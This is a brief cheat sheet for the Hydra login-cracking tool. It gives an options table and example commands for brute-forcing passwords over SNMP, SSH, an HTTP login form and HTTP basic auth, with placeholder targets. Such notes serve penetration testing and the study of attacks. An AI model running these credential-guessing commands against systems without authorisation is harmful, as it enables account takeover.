# Hydra

> hydra - a very fast network logon cracker which support many different services\
> [GitHub - vanhauser-thc/thc-hydra](https://github.com/vanhauser-thc/thc-hydra)

## Options

| Option                  | Description                                             |
| ----------------------- | ------------------------------------------------------- |
| `-l` LOGIN or `-L` FILE | Login with LOGIN name, or load several logins from FILE |
| `-p` PASS or `-P` FILE  | Try password PASS, or load several passwords from FILE  |
| `-s`                    | Specify non-default port here                           |
| `-f`                    | Exit after the first found login/password pair          |
| `-V` `-vV`              | Verbose: Show usernames and passwords being tried       |
| `-d`                    | Debug output                                            |

## Examples

SNMP

```bash
hydra -P <password-file> <ip> snmp
```

SSH

```bash
hydra -l <user> -P <password-file> <ip> ssh
```

HTTP Form

```bash
hydra -l <user> -P <password-file> <ip> http-post-form '/path/to/login.php:username=^USER^&password=^PASS^:Invalid' -t 64
```

.htaccess (using colon separated "login:pass" wordlist)

```bash
hydra -C <wordlist> http-get://<ip>:<port>/path/to/whatever
```


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